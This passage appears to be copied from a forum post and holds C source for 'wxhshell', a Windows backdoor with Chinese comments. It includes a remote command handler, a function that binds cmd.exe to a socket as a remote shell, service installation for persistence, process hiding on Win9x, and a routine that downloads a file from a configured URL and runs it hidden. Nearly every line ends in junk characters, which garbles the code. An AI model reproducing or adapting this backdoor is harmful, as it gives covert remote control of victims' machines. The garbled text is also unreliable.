      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q/Gy&8 K  
    break; u54+oh|,M  
  } 8kqxr&,[  
  // 安装 ~U^0z|.  
  case 'i': { J>+Dv?Ni$  
    if(Install()) fkx 9I m4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qn<< &i~  
    else zX5p'8-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sQ`8L+oY  
    break; Ek 4aC3  
    } 1LE8,Gm&  
  // 卸载 N7jAPI@a\i  
  case 'r': {  e%qMrR  
    if(Uninstall()) ]];7ozS)X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r%o!P`  
    else 7?kvrIuY&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Q3m?)X=Gd  
    break; %;zA_Wg  
    } O 4}cv  
  // 显示 wxhshell 所在路径 ly{ ~X  
  case 'p': { .AV--oA~  
    char svExeFile[MAX_PATH]; XL"e<P;t  
    strcpy(svExeFile,"\n\r"); Jw86P=  
      strcat(svExeFile,ExeFile); c s hZR(b  
        send(wsh,svExeFile,strlen(svExeFile),0); ;id  
    break; &QE* V  
    } G& ;W  
  // 重启 ~=c#Ff =Z  
  case 'b': { N/y.=]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _o`'b80;  
    if(Boot(REBOOT)) PPmZ[N9(;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]r#tJ T`M  
    else { nhy3E  
    closesocket(wsh); 2/h Mx-  
    ExitThread(0); O,DA{> *m  
    } tnTr &o#  
    break; gzuM>lf*{  
    } ]P 2M  
  // 关机 uT=sDWD :  
  case 'd': { ?X eRL<n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8T1`TGSFC  
    if(Boot(SHUTDOWN)) 6v.*%E*P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); < 'T6k\  
    else { )} /9*  
    closesocket(wsh);  ) .#,1  
    ExitThread(0); 8mMrGf[Q\  
    } LtC kDnXk  
    break; V&qXsyg  
    } *%g*Np_P  
  // 获取shell &&tQ,5H5  
  case 's': { IU3OI:uq  
    CmdShell(wsh); =:#$_qR  
    closesocket(wsh); \24neD4cM@  
    ExitThread(0); & 8e~<  
    break; uD<*g(R  
  } TCB<fS~U-  
  // 退出 zQ7SiRt7*  
  case 'x': { fv)-o&Q#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <m9IZI Y<  
    CloseIt(wsh); jb77uH_  
    break; iT I W;Cv  
    } Tqm9><!r  
  // 离开 >)!"XFbb  
  case 'q': { ` R^[s56wp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =TyN"0@  
    closesocket(wsh); 3WaYeol`  
    WSACleanup(); ~Ge-7^Fo7  
    exit(1); Nnx"b 5I}n  
    break; #B>Hq~ vrC  
        } ]%G[<zD,1  
  } MYjDO>(_  
  } hC~lH eH  
00<iv"8  
  // 提示信息 2D&tDX<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {5_*tV<I  
} H@OYtPHGR  
  } l6a,:*_  
O8n\>pkI  
  return; t3G%}d?  
} ^D/*Hp _  
'J+Vw9 s7  
// shell模块句柄 YdIV_&-W  
int CmdShell(SOCKET sock) }1epn#O_4  
{ R '"J{oR  
STARTUPINFO si; &eyFApM[Z  
ZeroMemory(&si,sizeof(si)); mtmtOG_/=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F|Jo|02  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Qz[~{-<  
PROCESS_INFORMATION ProcessInfo; 5ahAp];  
char cmdline[]="cmd"; PK!=3fK4\F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &!Y^DR/  
  return 0; e)>Z&e,3  
} a&4>xZU #  
}fL8<HM\'c  
// 自身启动模式 "7iHTV  
int StartFromService(void) xlS t  
{ 980[]&(  
typedef struct o^7}H{AE  
{ 0 UjT<t^F  
  DWORD ExitStatus; Pg7W:L7  
  DWORD PebBaseAddress; d;H1B/  
  DWORD AffinityMask; &+ JV\  
  DWORD BasePriority; &2#<6=}  
  ULONG UniqueProcessId; V=\&eS4^"  
  ULONG InheritedFromUniqueProcessId; H&`p9d*(e  
}   PROCESS_BASIC_INFORMATION; fHR1ku y  
2}' &38wMT  
PROCNTQSIP NtQueryInformationProcess; [m!$01=  
2u/(Q>#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4?1Ac7bE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HFvhrG  
D("['`{  
  HANDLE             hProcess; enK4`+.7  
  PROCESS_BASIC_INFORMATION pbi; 5qR76iH) /  
ZXe[>H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W)$;T%u  
  if(NULL == hInst ) return 0; pB h [F5  
Nr6YQH*[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @N1ta-D#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E}.cz\!.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "n:L<F,g  
Y -7x**I  
  if (!NtQueryInformationProcess) return 0; }0}J  
yV=hi?f-[V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;(TBg-LEK  
  if(!hProcess) return 0; GVCyVt[!-  
3eFD[c%mN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l{_>?]S5  
VOp8 ,!  
  CloseHandle(hProcess); 73Tg{~  
f+1)Ju~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GDZe6*  
if(hProcess==NULL) return 0; g6;O)b  
z2wR]G5!  
HMODULE hMod; h&;\   
char procName[255]; R8O<} >3a  
unsigned long cbNeeded; :q0C$xF  
w'?uJW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 80c\O-{  
,Es5PmV@$%  
  CloseHandle(hProcess); /vwGSuk._  
OfbM]:}<3  
if(strstr(procName,"services")) return 1; // 以服务启动 j;J4]]R;o  
=/V r,y$  
  return 0; // 注册表启动 gj$gqO`B  
} .ye5 ;A}  
i,$*+2Z  
// 主模块 u`R  
int StartWxhshell(LPSTR lpCmdLine) GriL< =?t  
{ ^mkplp a  
  SOCKET wsl; 3:dQN;=  
BOOL val=TRUE; w3fi2B&q  
  int port=0; vAHJP$x  
  struct sockaddr_in door; Go+f0aig  
i[T!{<  
  if(wscfg.ws_autoins) Install(); L#m1!+J  
M)i2)]F S  
port=atoi(lpCmdLine); uRxo,.}c  
 ceyZ4M  
if(port<=0) port=wscfg.ws_port; CQ"5bnR  
=cX &H  
  WSADATA data; !E4YUEY 6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {CYFM[V  
pN1W|Wv2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `:R8~>p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AdKv!Ta5b  
  door.sin_family = AF_INET; G%Wjtrpj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wRi!eN?  
  door.sin_port = htons(port); sMs 0*B-[  
8! pfy"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1vx:`2 A4  
closesocket(wsl); rcY[jF  
return 1; b: +.Y$%F-  
} ?2aglj*"v,  
3K_J"B*7  
  if(listen(wsl,2) == INVALID_SOCKET) { (wo.OH  
closesocket(wsl); v0apEjT  
return 1; n]r7} 2hM  
} .?@$Rd2@W  
  Wxhshell(wsl); (w6024~  
  WSACleanup(); &Plc  
)xoIH{  
return 0; Kj;Q;Ii  
; SagN  
} |Q@4F&k  
z^ rf;  
// 以NT服务方式启动 ovvR{MTc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L^Fni~  
{ =j#uH`jgW  
DWORD   status = 0; j[F\f>  
  DWORD   specificError = 0xfffffff; LeF Z%y)F  
Z[[q W f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )4bBR@QM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s%1O}X$c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6:fe.0H 9  
  serviceStatus.dwWin32ExitCode     = 0; g\,pZ]0i  
  serviceStatus.dwServiceSpecificExitCode = 0; >h(n8wTP  
  serviceStatus.dwCheckPoint       = 0; +ZQf$@+  
  serviceStatus.dwWaitHint       = 0; bLhTgss](  
g~rZ=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :54ik,l  
  if (hServiceStatusHandle==0) return; LkK%DY  
O@ F0UM`!  
status = GetLastError(); AVF(YD<U  
  if (status!=NO_ERROR) %-/[.DYt  
{ =e$<[ "  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1~zzQ:jAZ  
    serviceStatus.dwCheckPoint       = 0; W.'#pd  
    serviceStatus.dwWaitHint       = 0; !9_HZ(W&  
    serviceStatus.dwWin32ExitCode     = status; HQCxO?  
    serviceStatus.dwServiceSpecificExitCode = specificError; g=XvqD<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yT.h[yv"w  
    return; -Wd2FD^x  
  } &CpxD."8x  
G%jgr"]\z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Hbn%CdDk1  
  serviceStatus.dwCheckPoint       = 0; !KKkw4  
  serviceStatus.dwWaitHint       = 0; =\"88e;b2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V|gW%Z,j  
} >B!E 6ah  
,.A@U*j  
// 处理NT服务事件,比如:启动、停止 >-*rtiE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7l/.f SW  
{ 7/& i'y  
switch(fdwControl) 3LN+gXmU  
{ @tGju\E"o  
case SERVICE_CONTROL_STOP: 7jL+c~  
  serviceStatus.dwWin32ExitCode = 0; ePv3M&\J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WXV(R,*Tc  
  serviceStatus.dwCheckPoint   = 0;  sC1Mwx  
  serviceStatus.dwWaitHint     = 0; eyUguA<lK\  
  { N?hQ53#3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *?x$q/a  
  } /99S<U2ej  
  return; YcOPqvQ  
case SERVICE_CONTROL_PAUSE: 2FU+o\1 %  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1LYz X;H1  
  break; t(AW2{%}  
case SERVICE_CONTROL_CONTINUE: 4'upbI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Oi%\'biM  
  break; ]Wr2 IM  
case SERVICE_CONTROL_INTERROGATE: Z}#'.y\ f  
  break; zisf8x7^W  
}; .ZQD`SRrI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "{(|}Cds  
} Q6)Wh6Cm  
N-Fs-uB  
// 标准应用程序主函数 h;cl+c|B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6B`XHdCq  
{ MdXOH$ ps  
!IF]P#  
// 获取操作系统版本 =1sGT;>  
OsIsNt=GetOsVer(); fIe';a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '5V} Z3zJ/  
?1w{lz(P  
  // 从命令行安装 \kWL:uU  
  if(strpbrk(lpCmdLine,"iI")) Install(); iMjoa tt  
9^ ;Cz>6s  
  // 下载执行文件 G5*"P!@6  
if(wscfg.ws_downexe) { 2^ uP[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7.)kG}q]  
  WinExec(wscfg.ws_filenam,SW_HIDE); J>Pc@,y  
} PL} Wu=  
_E'F   
if(!OsIsNt) { 6<1 2j7  
// 如果时win9x,隐藏进程并且设置为注册表启动 C0C2]xx{  
HideProc(); M^IEu }  
StartWxhshell(lpCmdLine); ?#s9@R1  
} -&q@|h'  
else cD.afy  
  if(StartFromService()) ;QO3^P}  
  // 以服务方式启动 J([Y4Em5  
  StartServiceCtrlDispatcher(DispatchTable); Y*VF1M,2_  
else 3bYP i^  
  // 普通方式启动 &s6;2G&L$  
  StartWxhshell(lpCmdLine); b'q ru~i  
X* 4C?v  
return 0; I+2#k\y  
}
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只看该作者 1 发表于: 2006-10-10
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